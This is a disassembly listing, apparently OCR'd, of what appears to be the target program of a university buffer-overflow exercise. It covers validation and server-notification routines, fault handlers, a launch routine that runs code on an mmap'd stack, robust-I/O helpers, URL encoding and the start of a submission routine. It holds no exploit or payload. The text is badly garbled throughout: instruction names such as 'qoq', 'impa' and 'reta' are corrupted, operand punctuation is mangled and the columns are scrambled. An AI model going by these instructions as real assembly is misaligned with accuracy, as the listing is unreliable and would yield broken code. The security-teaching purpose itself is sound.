4019d8: 41 b8 00 00 00 00
                                  $0x0,%r8d
                            mov
4019de: 48 8d 8c 24 00 20 00
                                lea 0x2000(%rsp),%rcx
4019e5: 00
4019e6: 48 8b 15 63 27 20 00
                                                               # 604150 <lab>
                                mov
                                      0x202763(%rip),%rdx
4019ed: 48 8b 35 8c 2a 20 00
                                      0x202a8c(%rip),%rsi
                                                              # 604480 <course>
                                mov
                                      0x202745(%rip),%rdi
4019f4: 48 8b 3d 45 27 20 00
                                mov
                                                              # 604140 <user id>
4019fb: e8 0a 10 00 00
                            callq 402a0a <driver post>
401a00: 85 c0
                       test %eax.%eax
                           401a54 < notify_server+0x11e>
401a02: 78 50
401a04: bf b0 2f 40 00
                            mov $0x402fb0,%edi
401a09: e8 d2 f1 ff ff
                            callq 400be0 <puts@plt>
401a0e: bf bb 2e 40 00
                           mov $0x402ebb,%edi
401a13: e8 c8 f1 ff ff
                            callq 400be0 <puts@plt>
                                add $0x4008,%rsp
401a18: 48 81 c4 08 40 00 00
401a1f: 5b
                       qoq
                             %rbx
```

```
401a20: 5d
                              %rbp
                        pop
 401a21: c3
                        reta
 401a22: be 80 2f 40 00
                                   $0x402f80.%esi
                            mov
 401a27: bf 01 00 00 00
                                   $0x1.%edi
                            mov
 401a2c: b8 00 00 00 00
                            mov
                                  $0x0,%eax
 401a31: e8 ba f2 ff ff
                            callq 400cf0 <__printf_chk@plt>
 401a36: bf 01 00 00 00
                            mov
                                  $0x1,%edi
 401a3b: e8 f0 f2 ff ff
                            callq 400d30 <exit@plt>
 401a40: ba ff ff ff
                        mov
                              $0xffffffff,%edx
 401a45: e9 32 ff ff ff
                            impa 40197c <notify server+0x46>
 401a4a: bd 8e 2e 40 00
                                   $0x402e8e,%ebp
                            mov
 401a4f: e9 35 ff ff ff
                                  401989 < notify server + 0x53>
                            impa
 401a54: 48 89 e2
                            mov
                                   %rsp.%rdx
 401a57: be af 2e 40 00
                                   $0x402eaf.%esi
                            mov
 401a5c: bf 01 00 00 00
                            mov
                                   $0x1.%edi
 401a61: b8 00 00 00 00
                                   $0x0,%eax
                            mov
 401a66: e8 85 f2 ff ff
                            callq 400cf0 <__printf_chk@plt>
 401a6b: bf 01 00 00 00
                                  $0x1.%edi
                            mov
 401a70: e8 bb f2 ff ff
                            callq 400d30 <exit@plt>
 401a75: bf c5 2e 40 00
                            mov $0x402ec5.%edi
 401a7a: e8 61 f1 ff ff
                            callq 400be0 <puts@plt>
 401a7f: eb 97
                        imp 401a18 < notify server+0xe2>
 401a81: 48 89 ea
                                   %rbp,%rdx
                            mov
 401a84: be cc 2e 40 00
                                   $0x402ecc, %esi
                            mov
 401a89: bf 01 00 00 00
                                   $0x1,%edi
                            mov
 401a8e: b8 00 00 00 00
                                  $0x0.%eax
                            mov
 401a93: e8 58 f2 ff ff
                            callq 400cf0 < printf chk@plt>
 401a98: e9 7b ff ff ff
                            impg 401a18 <notify server+0xe2>
 401a9d: f3 c3
                        repz reta
0000000000401a9f <validate>:
 401a9f: 53
                       push %rbx
 401aa0: 89 fb
                       mov
                              %edi.%ebx
 401aa2: 83 3d 5f 2a 20 00 00
                                 cmpl $0x0.0x202a5f(%rip)
                                                               # 604508 <is checker>
 401aa9: 74 6b
                            401b16 <validate+0x77>
                       įе
                                                            # 6044fc <vlevel>
 401aab: 39 3d 4b 2a 20 00
                            cmp %edi,0x202a4b(%rip)
 401ab1: 75 2f
                       ine
                            401ae2 <validate+0x43>
                            mov 0x202a3f(%rip),%edx
 401ab3: 8b 15 3f 2a 20 00
                                                           # 6044f8 <check level>
 401ab9: 39 fa
                        cmp
                              %edi.%edx
 401abb: 75 39
                            401af6 <validate+0x57>
                       ine
 401abd: 0f be 15 64 36 20 00
                                 movsbl 0x203664(%rip),%edx
                                                                  # 605128 <target prefix>
 401ac4: 41 b8 20 45 60 00
                            mov $0x604520,%r8d
 401aca: 89 f9
                              %edi.%ecx
                       mov
 401acc: be ef 2e 40 00
                            mov
                                   $0x402eef,%esi
 401ad1: bf 01 00 00 00
                            mov
                                   $0x1,%edi
 401ad6: b8 00 00 00 00
                            mov
                                   $0x0,%eax
 401adb: e8 10 f2 ff ff
                            callq 400cf0 <__printf_chk@plt>
 401ae0: 5b
                              %rbx
                        pop
 401ae1: c3
                        retq
 401ae2: bf d1 2e 40 00
                                  $0x402ed1.%edi
                            mov
 401ae7: e8 f4 f0 ff ff
                            callq 400be0 <puts@plt>
 401aec: b8 00 00 00 00
                            mov
                                   $0x0,%eax
```

```
401af1: e8 b9 fd ff ff
                            callq 4018af <check_fail>
401af6: 89 f9
                       mov %edi,%ecx
401af8: be e8 2f 40 00
                            mov
                                  $0x402fe8.%esi
401afd: bf 01 00 00 00
                                  $0x1.%edi
                            mov
401b02: b8 00 00 00 00
                            mov
                                  $0x0.%eax
401b07: e8 e4 f1 ff ff
                            callq 400cf0 <__printf_chk@plt>
401b0c: b8 00 00 00 00
                                  $0x0,%eax
                            mov
401b11: e8 99 fd ff ff
                            callq 4018af <check fail>
401b16: 39 3d e0 29 20 00
                            cmp
                                  %edi,0x2029e0(%rip)
                                                           # 6044fc <vlevel>
401b1c: 74 18
                       je
                            401b36 <validate+0x97>
401b1e: bf d1 2e 40 00
                            mov $0x402ed1.%edi
401b23: e8 b8 f0 ff ff
                            callq 400be0 <puts@plt>
                       mov %ebx,%esi
401b28: 89 de
401b2a: bf 00 00 00 00
                            mov $0x0,%edi
401b2f: e8 02 fe ff ff
                            callq 401936 < notify server>
401b34: eb aa
                       imp 401ae0 <validate+0x41>
401b36: 0f be 0d eb 35 20 00
                                 movsbl 0x2035eb(%rip),%ecx
                                                                 # 605128 <target_prefix>
401b3d: 89 fa
                              %edi.%edx
                       mov
401b3f: be 10 30 40 00
                            mov $0x403010,%esi
401b44: bf 01 00 00 00
                            mov $0x1.%edi
401b49: b8 00 00 00 00
                            mov
                                  $0x0.%eax
                            callq 400cf0 <__printf_chk@plt>
401b4e: e8 9d f1 ff ff
                       mov %ebx,%esi
401b53: 89 de
401b55: bf 01 00 00 00
                            mov $0x1,%edi
401b5a: e8 d7 fd ff ff
                            callq 401936 < notify server>
401b5f: e9 7c ff ff ff
                            impg 401ae0 <validate+0x41>
0000000000401b64 <fail>:
401b64: 48 83 ec 08
                            sub
                                  $0x8,%rsp
401b68: 83 3d 99 29 20 00 00
                                 cmpl $0x0,0x202999(%rip)
                                                               # 604508 <is checker>
                       jne 401b82 <fail+0x1e>
401b6f: 75 11
401b71: 89 fe
                             %edi,%esi
                       mov
401b73: bf 00 00 00 00
                            mov $0x0,%edi
401b78: e8 b9 fd ff ff
                            callq 401936 <notify server>
401b7d: 48 83 c4 08
                            add $0x8,%rsp
401b81: c3
                       reta
401b82: b8 00 00 00 00
                            mov $0x0,%eax
401b87: e8 23 fd ff ff
                            callq 4018af <check_fail>
0000000000401b8c <bushandler>:
401b8c: 48 83 ec 08
                                  $0x8,%rsp
                            sub
401b90: 83 3d 71 29 20 00 00
                                 cmpl $0x0,0x202971(%rip)
                                                               # 604508 <is checker>
401b97: 74 14
                            401bad <bushandler+0x21>
                       įе
401b99: bf 04 2f 40 00
                            mov $0x402f04,%edi
401b9e: e8 3d f0 ff ff
                            callq 400be0 <puts@plt>
401ba3: b8 00 00 00 00
                            mov
                                  $0x0,%eax
401ba8: e8 02 fd ff ff
                            callq 4018af <check_fail>
401bad: bf 48 30 40 00
                            mov $0x403048,%edi
401bb2: e8 29 f0 ff ff
                            callq 400be0 <puts@plt>
401bb7: bf 0e 2f 40 00
                                  $0x402f0e, %edi
                            mov
                            callq 400be0 <puts@plt>
401bbc: e8 1f f0 ff ff
401bc1: be 00 00 00 00
                            mov
                                  $0x0,%esi
```

```
401bc6: bf 00 00 00 00
                                   $0x0,%edi
                            mov
 401bcb: e8 66 fd ff ff
                             callq 401936 <notify server>
 401bd0: bf 01 00 00 00
                            mov
                                  $0x1.%edi
 401bd5: e8 56 f1 ff ff
                             calla 400d30 <exit@plt>
0000000000401bda < seghandler>:
 401bda: 48 83 ec 08
                                  $0x8,%rsp
 401bde: 83 3d 23 29 20 00 00
                                 cmpl $0x0,0x202923(%rip)
                                                                # 604508 <is_checker>
 401be5: 74 14
                            401bfb <seghandler+0x21>
                        је
 401be7: bf 24 2f 40 00
                            mov $0x402f24,%edi
 401bec: e8 ef ef ff ff
                             callq 400be0 <puts@plt>
 401bf1: b8 00 00 00 00
                            mov
                                  $0x0,%eax
 401bf6: e8 b4 fc ff ff
                             callq 4018af <check fail>
 401bfb: bf 68 30 40 00
                                  $0x403068,%edi
                            mov
 401c00: e8 db ef ff ff
                             callq 400be0 <puts@plt>
 401c05: bf 0e 2f 40 00
                                   $0x402f0e,%edi
                            mov
 401c0a: e8 d1 ef ff ff
                             callq 400be0 <puts@plt>
 401c0f: be 00 00 00 00
                                   $0x0.%esi
                             mov
 401c14: bf 00 00 00 00
                                   $0x0.%edi
                            mov
 401c19: e8 18 fd ff ff
                             callq 401936 < notify server>
 401c1e: bf 01 00 00 00
                             mov
                                   $0x1.%edi
 401c23: e8 08 f1 ff ff
                             callq 400d30 <exit@plt>
000000000401c28 <illegalhandler>:
 401c28: 48 83 ec 08
                                  $0x8,%rsp
 401c2c: 83 3d d5 28 20 00 00
                                 cmpl $0x0,0x2028d5(%rip)
                                                                 # 604508 <is checker>
                            401c49 <illegalhandler+0x21>
 401c33: 74 14
 401c35: bf 37 2f 40 00
                            mov $0x402f37.%edi
 401c3a: e8 a1 ef ff ff
                             callq 400be0 <puts@plt>
 401c3f: b8 00 00 00 00
                             mov
                                   $0x0,%eax
 401c44: e8 66 fc ff ff
                             callq 4018af <check_fail>
 401c49: bf 90 30 40 00
                                   $0x403090,%edi
                             mov
 401c4e: e8 8d ef ff ff
                             callq 400be0 <puts@plt>
 401c53: bf 0e 2f 40 00
                                   $0x402f0e, %edi
                             mov
 401c58: e8 83 ef ff ff
                             callq 400be0 <puts@plt>
 401c5d: be 00 00 00 00
                                   $0x0,%esi
                             mov
 401c62: bf 00 00 00 00
                             mov
                                   $0x0,%edi
 401c67: e8 ca fc ff ff
                             callq 401936 < notify server>
 401c6c: bf 01 00 00 00
                             mov
                                   $0x1.%edi
                             callq 400d30 <exit@plt>
 401c71: e8 ba f0 ff ff
0000000000401c76 < sigalrmhandler>:
                             sub
 401c76: 48 83 ec 08
                                  $0x8,%rsp
 401c7a: 83 3d 87 28 20 00 00
                                 cmpl $0x0,0x202887(%rip)
                                                                # 604508 <is checker>
 401c81: 74 14
                            401c97 < sigalrmhandler+0x21>
                                  $0x402f4b,%edi
 401c83: bf 4b 2f 40 00
                             mov
 401c88: e8 53 ef ff ff
                             callq 400be0 <puts@plt>
 401c8d: b8 00 00 00 00
                                  $0x0,%eax
                             mov
                            callq 4018af <check fail>
 401c92: e8 18 fc ff ff
 401c97: ba 05 00 00 00
                                   $0x5.%edx
                            mov
 401c9c: be c0 30 40 00
                                   $0x4030c0,%esi
                            mov
 401ca1: bf 01 00 00 00
                             mov
                                   $0x1,%edi
```

```
401ca6: b8 00 00 00 00
                                  $0x0,%eax
                            mov
401cab: e8 40 f0 ff ff
                            callg 400cf0 < printf chk@plt>
401cb0: be 00 00 00 00
                                  $0x0.%esi
                            mov
401cb5: bf 00 00 00 00
                                  $0x0.%edi
                            mov
401cba: e8 77 fc ff ff
                            callq 401936 < notify server>
401cbf: bf 01 00 00 00
                                  $0x1,%edi
                            mov
                            callq 400d30 <exit@plt>
401cc4: e8 67 f0 ff ff
0000000000401cc9 < launch>:
401cc9: 55
                       push %rbp
401cca: 48 89 e5
                                  %rsp,%rbp
                            mov
401ccd: 48 89 fa
                            mov
                                  %rdi,%rdx
401cd0: 48 8d 47 1e
                            lea
                                 0x1e(%rdi),%rax
401cd4: 48 83 e0 f0
                                 $0xfffffffffff0,%rax
                            and
401cd8: 48 29 c4
                            sub
                                  %rax,%rsp
401cdb: 48 8d 7c 24 0f
                            lea 0xf(%rsp),%rdi
401ce0: 48 83 e7 f0
                            and $0xfffffffffff0,%rdi
401ce4: be f4 00 00 00
                            mov $0xf4.%esi
401ce9: e8 22 ef ff ff
                            callq 400c10 <memset@plt>
401cee: 48 8b 05 ab 27 20 00
                                 mov 0x2027ab(%rip),%rax
                                                                # 6044a0
<stdin@@GLIBC 2.2.5>
401cf5: 48 39 05 f4 27 20 00
                                 cmp %rax,0x2027f4(%rip)
                                                               # 6044f0 <infile>
401cfc: 74 29
                            401d27 < launch + 0x5e>
                       įе
401cfe: c7 05 f4 27 20 00 00
                                 movl $0x0,0x2027f4(%rip)
                                                               # 6044fc <vlevel>
401d05: 00 00 00
401d08: b8 00 00 00 00
                            mov $0x0.%eax
401d0d: e8 09 fb ff ff
                            callq 40181b <test>
401d12: 83 3d ef 27 20 00 00
                                 cmpl $0x0,0x2027ef(%rip)
                                                               # 604508 <is checker>
401d19: 75 22
                       ine 401d3d <launch+0x74>
401d1b: bf 6b 2f 40 00
                            mov $0x402f6b,%edi
401d20: e8 bb ee ff ff
                            callq 400be0 <puts@plt>
401d25: c9
                       leaveq
401d26: c3
                       retq
401d27: be 53 2f 40 00
                                  $0x402f53.%esi
                            mov
401d2c: bf 01 00 00 00
                                  $0x1,%edi
                            mov
401d31: b8 00 00 00 00
                                  $0x0,%eax
                            mov
401d36: e8 b5 ef ff ff
                            callq 400cf0 <__printf_chk@plt>
401d3b: eb c1
                            401cfe <launch+0x35>
                       jmp
401d3d: bf 60 2f 40 00
                            mov
                                  $0x402f60.%edi
401d42: e8 99 ee ff ff
                            callq 400be0 <puts@plt>
401d47: b8 00 00 00 00
                                 $0x0,%eax
                            mov
401d4c: e8 5e fb ff ff
                            callq 4018af <check_fail>
000000000401d51 < stable_launch>:
401d51: 53
                       push %rbx
401d52: 48 89 3d 8f 27 20 00
                                 mov
                                       %rdi,0x20278f(%rip)
                                                               # 6044e8 <global_offset>
401d59: 41 b9 00 00 00 00
                                  $0x0,%r9d
                            mov
401d5f: 41 b8 00 00 00 00
                                  $0x0,%r8d
                            mov
401d65: b9 32 01 00 00
                                  $0x132,%ecx
                            mov
401d6a: ba 07 00 00 00
                                  $0x7,%edx
                            mov
401d6f: be 00 00 10 00
                                  $0x100000,%esi
                            mov
401d74: bf 00 60 58 55
                            mov
                                  $0x55586000,%edi
```

```
401d79: e8 82 ee ff ff
                           callq 400c00 <mmap@plt>
401d7e: 48 89 c3
                            mov
                                  %rax,%rbx
401d81: 48 3d 00 60 58 55
                           cmp
                                  $0x55586000.%rax
401d87: 75 43
                            401dcc <stable launch+0x7b>
                       ine
401d89: 48 8d 90 f8 ff 0f 00
                           lea 0xffff8(%rax),%rdx
401d90: 48 89 15 99 33 20 00
                                mov %rdx,0x203399(%rip)
                                                               # 605130 <stack_top>
401d97: 48 89 e0
                                  %rsp,%rax
                            mov
401d9a: 48 89 d4
                                  %rdx,%rsp
                           mov
401d9d: 48 89 c2
                           mov
                                  %rax,%rdx
401da0: 48 89 15 39 27 20 00
                                mov %rdx.0x202739(%rip)
                                                               # 6044e0 < global save stack>
401da7: 48 8b 3d 3a 27 20 00
                                mov 0x20273a(%rip),%rdi
                                                              # 6044e8 < global offset>
401dae: e8 16 ff ff ff
                            callq 401cc9 < launch>
401db3: 48 8b 05 26 27 20 00
                                mov 0x202726(%rip),%rax
                                                               # 6044e0 < global save stack>
401dba: 48 89 c4
                                  %rax,%rsp
                           mov
                                  $0x100000,%esi
401dbd: be 00 00 10 00
                           mov
401dc2: 48 89 df
                                  %rbx,%rdi
                           mov
401dc5: e8 16 ef ff ff
                            callq 400ce0 <munmap@plt>
401dca: 5b
                             %rbx
                       pop
401dcb: c3
                       retq
401dcc: be 00 00 10 00
                                 $0x100000.%esi
                           mov
401dd1: 48 89 c7
                           mov
                                  %rax,%rdi
401dd4: e8 07 ef ff ff
                           callq 400ce0 <munmap@plt>
401dd9: b9 00 60 58 55
                                 $0x55586000,%ecx
                            mov
401dde: ba f8 30 40 00
                                 $0x4030f8,%edx
                           mov
401de3: be 01 00 00 00
                                  $0x1,%esi
                            mov
401de8: 48 8b 3d d1 26 20 00
                                mov 0x2026d1(%rip),%rdi
                                                              # 6044c0
<stderr@@GLIBC 2.2.5>
401def: b8 00 00 00 00
                            mov $0x0.%eax
401df4: e8 57 ef ff ff
                            callq 400d50 < fprintf chk@plt>
401df9: bf 01 00 00 00
                            mov $0x1,%edi
401dfe: e8 2d ef ff ff
                            callq 400d30 <exit@plt>
0000000000401e03 <rio readinitb>:
401e03: 89 37
                             %esi,(%rdi)
                       mov
401e05: c7 47 04 00 00 00 00
                                movl $0x0,0x4(%rdi)
401e0c: 48 8d 47 10
                                0x10(%rdi),%rax
                            lea
401e10: 48 89 47 08
                            mov
                                  %rax,0x8(%rdi)
401e14: c3
                       retq
0000000000401e15 <sigalrm_handler>:
401e15: 48 83 ec 08
                                 $0x8,%rsp
                           sub
401e19: b9 00 00 00 00
                            mov $0x0,%ecx
401e1e: ba 30 31 40 00
                                 $0x403130,%edx
                           mov
401e23: be 01 00 00 00
                                 $0x1,%esi
                            mov
401e28: 48 8b 3d 91 26 20 00
                                mov 0x202691(%rip),%rdi
                                                              # 6044c0
<stderr@@GLIBC 2.2.5>
401e2f: b8 00 00 00 00
                            mov $0x0,%eax
401e34: e8 17 ef ff ff
                            callq 400d50 <__fprintf_chk@plt>
                                  $0x1,%edi
401e39: bf 01 00 00 00
                           mov
401e3e: e8 ed ee ff ff
                           callq 400d30 <exit@plt>
```

0000000000401e43 <rio_writen>:

```
401e43: 41 55
                       push %r13
                       push %r12
401e45: 41 54
401e47: 55
                       push %rbp
401e48: 53
                       push %rbx
401e49: 48 83 ec 08
                            sub
                                 $0x8,%rsp
401e4d: 41 89 fc
                                  %edi,%r12d
                            mov
401e50: 48 89 f5
                                  %rsi,%rbp
                            mov
401e53: 49 89 d5
                                  %rdx,%r13
                            mov
401e56: 48 89 d3
                                  %rdx,%rbx
                            mov
401e59: eb 06
                            401e61 <rio writen+0x1e>
                       ami
401e5b: 48 29 c3
                                 %rax,%rbx
                            sub
401e5e: 48 01 c5
                            add
                                 %rax,%rbp
401e61: 48 85 db
                            test %rbx,%rbx
401e64: 74 24
                           401e8a <rio writen+0x47>
401e66: 48 89 da
                            mov
                                  %rbx.%rdx
401e69: 48 89 ee
                                  %rbp,%rsi
                            mov
401e6c: 44 89 e7
                                  %r12d,%edi
                            mov
401e6f: e8 7c ed ff ff
                            calla 400bf0 <write@plt>
401e74: 48 85 c0
                            test %rax,%rax
401e77: 7f e2
                           401e5b <rio writen+0x18>
                       jg
401e79: e8 22 ed ff ff
                            callq 400ba0 <__errno_location@plt>
401e7e: 83 38 04
                            cmpl $0x4,(%rax)
401e81: 75 15
                            401e98 <rio writen+0x55>
                       ine
401e83: b8 00 00 00 00
                                 $0x0,%eax
                            mov
401e88: eb d1
                            jmp
                                 401e5b <rio writen+0x18>
401e8a: 4c 89 e8
                                  %r13,%rax
                            mov
401e8d: 48 83 c4 08
                            add
                                 $0x8,%rsp
401e91: 5b
                       pop
                             %rbx
401e92: 5d
                             %rbp
                       pop
401e93: 41 5c
                             %r12
                       pop
401e95: 41 5d
                             %r13
                       pop
401e97: c3
                       reta
401e98: 48 c7 c0 ff ff ff
                            mov $0xffffffffffff,%rax
401e9f: eb ec
                            401e8d <rio writen+0x4a>
0000000000401ea1 <rio read>:
401ea1: 41 55
                       push %r13
401ea3: 41 54
                       push %r12
401ea5: 55
                       push %rbp
401ea6: 53
                       push %rbx
401ea7: 48 83 ec 08
                            sub
                                 $0x8,%rsp
401eab: 48 89 fb
                                  %rdi,%rbx
                            mov
401eae: 49 89 f5
                                  %rsi,%r13
                            mov
401eb1: 49 89 d4
                                  %rdx,%r12
                            mov
                       jmp 401ec0 <rio_read+0x1f>
401eb4: eb 0a
401eb6: e8 e5 ec ff ff
                            callq 400ba0 <__errno_location@plt>
401ebb: 83 38 04
                            cmpl $0x4,(%rax)
401ebe: 75 5c
                       ine
                           401f1c <rio read+0x7b>
401ec0: 8b 6b 04
                            mov 0x4(%rbx),%ebp
401ec3: 85 ed
                       test %ebp,%ebp
401ec5: 7f 24
                           401eeb <rio_read+0x4a>
                       įg
401ec7: 48 8d 6b 10
                            lea 0x10(%rbx),%rbp
```

```
401ecb: 8b 3b
                                 (%rbx),%edi
                           mov
401ecd: ba 00 20 00 00
                                 $0x2000,%edx
                           mov
401ed2: 48 89 ee
                                 %rbp.%rsi
                           mov
401ed5: e8 66 ed ff ff
                           calla 400c40 <read@plt>
401eda: 89 43 04
                           mov
                                 %eax,0x4(%rbx)
401edd: 85 c0
                       test %eax,%eax
401edf: 78 d5
                      is
                           401eb6 <rio read+0x15>
401ee1: 85 c0
                      test %eax,%eax
401ee3: 74 40
                           401f25 <rio read+0x84>
401ee5: 48 89 6b 08
                                 %rbp.0x8(%rbx)
401ee9: eb d5
                           imp 401ec0 <rio read+0x1f>
401eeb: 89 e8
                      mov %ebp,%eax
401eed: 4c 39 e0
                           cmp %r12,%rax
401ef0: 72 03
                           401ef5 <rio read+0x54>
                       jb
401ef2: 44 89 e5
                           mov
                                 %r12d,%ebp
401ef5: 4c 63 e5
                           movsla %ebp,%r12
401ef8: 48 8b 73 08
                                 0x8(%rbx),%rsi
                           mov
401efc: 4c 89 e2
                                 %r12.%rdx
                           mov
401eff: 4c 89 ef
                                 %r13.%rdi
                           mov
401f02: e8 89 ed ff ff
                           callq 400c90 <memcpy@plt>
401f07: 4c 01 63 08
                           add
                                 %r12,0x8(%rbx)
401f0b: 29 6b 04
                                 %ebp,0x4(%rbx)
                           sub
401f0e: 4c 89 e0
                                 %r12,%rax
                           mov
401f11: 48 83 c4 08
                           add $0x8,%rsp
401f15: 5b
                            %rbx
                       pop
401f16: 5d
                            %rbp
                       qoq
401f17: 41 5c
                            %r12
                       pop
401f19: 41 5d
                       pop
                            %r13
401f1b: c3
                       reta
401f1c: 48 c7 c0 ff ff ff
                           mov $0xffffffffffff,%rax
401f23: eb ec
                            401f11 <rio_read+0x70>
                       jmp
401f25: b8 00 00 00 00
                           mov $0x0,%eax
401f2a: eb e5
                            401f11 <rio read+0x70>
                      jmp
0000000000401f2c <rio readlineb>:
401f2c: 41 55
                       push %r13
401f2e: 41 54
                      push %r12
401f30: 55
                       push %rbp
401f31: 53
                       push %rbx
401f32: 48 83 ec 18
                                 $0x18,%rsp
                           sub
401f36: 49 89 fd
                           mov
                                 %rdi,%r13
401f39: 48 89 f5
                                 %rsi,%rbp
                           mov
401f3c: 49 89 d4
                                 %rdx.%r12
                           mov
401f3f: bb 01 00 00 00
                                 $0x1,%ebx
                           mov
401f44: 4c 39 e3
                           cmp
                                 %r12,%rbx
401f47: 73 47
                           401f90 <rio readlineb+0x64>
                      jae
401f49: ba 01 00 00 00
                           mov $0x1,%edx
                           lea 0xf(%rsp),%rsi
401f4e: 48 8d 74 24 0f
401f53: 4c 89 ef
                           mov
                                 %r13,%rdi
401f56: e8 46 ff ff ff
                           callq 401ea1 <rio read>
401f5b: 83 f8 01
                           cmp $0x1,%eax
401f5e: 75 1c
                      ine 401f7c <rio_readlineb+0x50>
```

```
401f60: 48 8d 45 01
                           lea 0x1(%rbp),%rax
401f64: 0f b6 54 24 0f
                           movzbl 0xf(%rsp),%edx
401f69: 88 55 00
                           mov %dl.0x0(%rbp)
401f6c: 80 7c 24 0f 0a
                           cmpb $0xa.0xf(%rsp)
                           401f8d <rio_readlineb+0x61>
401f71: 74 1a
                       ie
401f73: 48 83 c3 01
                           add $0x1,%rbx
401f77: 48 89 c5
                           mov %rax,%rbp
401f7a: eb c8
                           401f44 <rio readlineb+0x18>
                       jmp
401f7c: 85 c0
                       test %eax.%eax
401f7e: 75 22
                           401fa2 <rio readlineb+0x76>
                       ine
401f80: 48 83 fb 01
                           cmp $0x1,%rbx
401f84: 75 0a
                           401f90 <rio readlineb+0x64>
                       jne
401f86: b8 00 00 00 00
                           mov $0x0.%eax
401f8b: eb 0a
                            401f97 <rio readlineb+0x6b>
                       jmp
                                  %rax.%rbp
401f8d: 48 89 c5
                           mov
401f90: c6 45 00 00
                           movb $0x0,0x0(\%rbp)
401f94: 48 89 d8
                                  %rbx,%rax
                           mov
401f97: 48 83 c4 18
                           add $0x18.%rsp
401f9b: 5b
                            %rbx
                       pop
401f9c: 5d
                             %rbp
                       pop
401f9d: 41 5c
                       pop
                            %r12
401f9f: 41 5d
                             %r13
                       pop
401fa1: c3
                       retq
401fa2: 48 c7 c0 ff ff ff
                           mov $0xfffffffffffff,%rax
                       imp
401fa9: eb ec
                            401f97 <rio readlineb+0x6b>
0000000000401fab <urlencode>:
401fab: 41 54
                       push %r12
401fad: 55
                       push %rbp
401fae: 53
                       push %rbx
401faf: 48 83 ec 10
                           sub
                                 $0x10,%rsp
401fb3: 48 89 fb
                                  %rdi,%rbx
                           mov
401fb6: 48 89 f5
                           mov
                                  %rsi,%rbp
401fb9: 48 c7 c1 ff ff ff
                                  $0xffffffffffffff.%rcx
                           mov
401fc0: b8 00 00 00 00
                                 $0x0,%eax
                           mov
401fc5: f2 ae
                       repnz scas %es:(%rdi),%al
401fc7: 48 89 ce
                           mov
                                  %rcx,%rsi
401fca: 48 f7 d6
                                 %rsi
                           not
401fcd: 8d 46 ff
                           lea -0x1(%rsi),%eax
                       jmp 401fe1 <urlencode+0x36>
401fd0: eb 0f
401fd2: 44 88 45 00
                                 %r8b,0x0(%rbp)
                           mov
401fd6: 48 8d 6d 01
                           lea 0x1(%rbp),%rbp
401fda: 48 83 c3 01
                           add $0x1,%rbx
401fde: 44 89 e0
                           mov %r12d,%eax
401fe1: 44 8d 60 ff
                           lea -0x1(%rax),%r12d
401fe5: 85 c0
                       test %eax,%eax
401fe7: 0f 84 a9 00 00 00
                                402096 <urlencode+0xeb>
                           ie
401fed: 44 0f b6 03
                           movzbl (%rbx),%r8d
401ff1: 41 80 f8 2a
                           cmp $0x2a,%r8b
401ff5: 0f 94 c2
                           sete %dl
401ff8: 41 80 f8 2d
                           cmp
                                 $0x2d,%r8b
                                 %al
401ffc: 0f 94 c0
                           sete
```

```
401fff:
         08 c2
                            %al,%dl
                       or
402001: 75 cf
                           401fd2 <urlencode+0x27>
                       ine
402003: 41 80 f8 2e
                            cmp $0x2e,%r8b
402007: 74 c9
                           401fd2 <urlencode+0x27>
402009: 41 80 f8 5f
                           cmp $0x5f.%r8b
40200d: 74 c3
                           401fd2 <urlencode+0x27>
40200f: 41 8d 40 d0
                            lea -0x30(%r8),%eax
402013: 3c 09
                             $0x9.%al
                       cmp
                            jbe 401fd2 <urlencode+0x27>
402015: 76 bb
402017: 41 8d 40 bf
                            lea -0x41(%r8), %eax
40201b: 3c 19
                       cmp $0x19,%al
40201d: 76 b3
                       ibe 401fd2 <urlencode+0x27>
40201f: 41 8d 40 9f
                            lea -0x61(%r8),%eax
402023: 3c 19
                             $0x19,%al
                       cmp
402025: 76 ab
                       ibe 401fd2 <urlencode+0x27>
402027: 41 80 f8 20
                            cmp $0x20,%r8b
40202b: 74 57
                           402084 <urlencode+0xd9>
                       ie
40202d: 41 8d 40 e0
                           lea -0x20(%r8), %eax
402031: 3c 5f
                             $0x5f.%al
                       cmp
402033: 0f 96 c2
                            setbe %dl
402036: 41 80 f8 09
                            amo
                                 $0x9,%r8b
40203a: 0f 94 c0
                            sete %al
                            %al.%dl
40203d: 08 c2
                       or
40203f: 74 50
                           402091 <urlencode+0xe6>
                       įе
                            movzbl %r8b.%r8d
402041: 45 0f b6 c0
402045: b9 c8 31 40 00
                                 $0x4031c8,%ecx
                            mov
40204a: ba 08 00 00 00
                            mov
                                 $0x8.%edx
40204f: be 01 00 00 00
                                 $0x1.%esi
                            mov
402054: 48 8d 7c 24 08
                            lea 0x8(%rsp),%rdi
402059: b8 00 00 00 00
                            mov $0x0,%eax
40205e: e8 fd ec ff ff
                            callq 400d60 <__sprintf_chk@plt>
402063: 0f b6 44 24 08
                            movzbl 0x8(%rsp),%eax
402068: 88 45 00
                            mov %al,0x0(%rbp)
40206b: 0f b6 44 24 09
                            movzbl 0x9(%rsp), %eax
402070: 88 45 01
                                  %al,0x1(%rbp)
                            mov
402073: 0f b6 44 24 0a
                            movzbl 0xa(%rsp),%eax
402078: 88 45 02
                            mov
                                  %al,0x2(%rbp)
40207b: 48 8d 6d 03
                            lea 0x3(%rbp),%rbp
40207f: e9 56 ff ff ff
                           impg 401fda <urlencode+0x2f>
                            movb $0x2b,0x0(\%rbp)
402084: c6 45 00 2b
402088: 48 8d 6d 01
                            lea 0x1(%rbp),%rbp
40208c: e9 49 ff ff ff
                           impg 401fda <urlencode+0x2f>
402091: b8 ff ff ff
                             $0xffffffff,%eax
                       mov
402096: 48 83 c4 10
                            add $0x10,%rsp
40209a: 5b
                             %rbx
                       pop
40209b: 5d
                       pop
                             %rbp
40209c: 41 5c
                             %r12
                       pop
40209e: c3
                       retq
000000000040209f <submitr>:
                       push %r15
40209f: 41 57
```

push %r14

4020a1: 41 56

```
4020a3: 41 55
                     push %r13
                      push %r12
4020a5: 41 54
4020a7: 55
                     push %rbp
4020a8: 53
                      push %rbx
4020a9: 48 81 ec 48 a0 00 00
                               sub $0xa048,%rsp
4020b0: 49 89 fc
                                %rdi,%r12
                          mov
4020b3: 89 74 24 04
                                %esi,0x4(%rsp)
                          mov
4020b7: 49 89 d7
                                %rdx,%r15
                          mov
4020ba: 49 89 ce
                                %rcx,%r14
                          mov
4020bd: 4c 89 44 24 08
                                %r8.0x8(%rsp)
                          mov
4020c2: 4d 89 cd
                                %r9,%r13
                          mov
4020c5: 48 8b ac 24 80 a0 00
                               mov 0xa080(%rsp),%rbp
4020cc: 00
4020cd: c7 84 24 1c 20 00 00
                               movl $0x0,0x201c(%rsp)
4020d4: 00 00 00 00
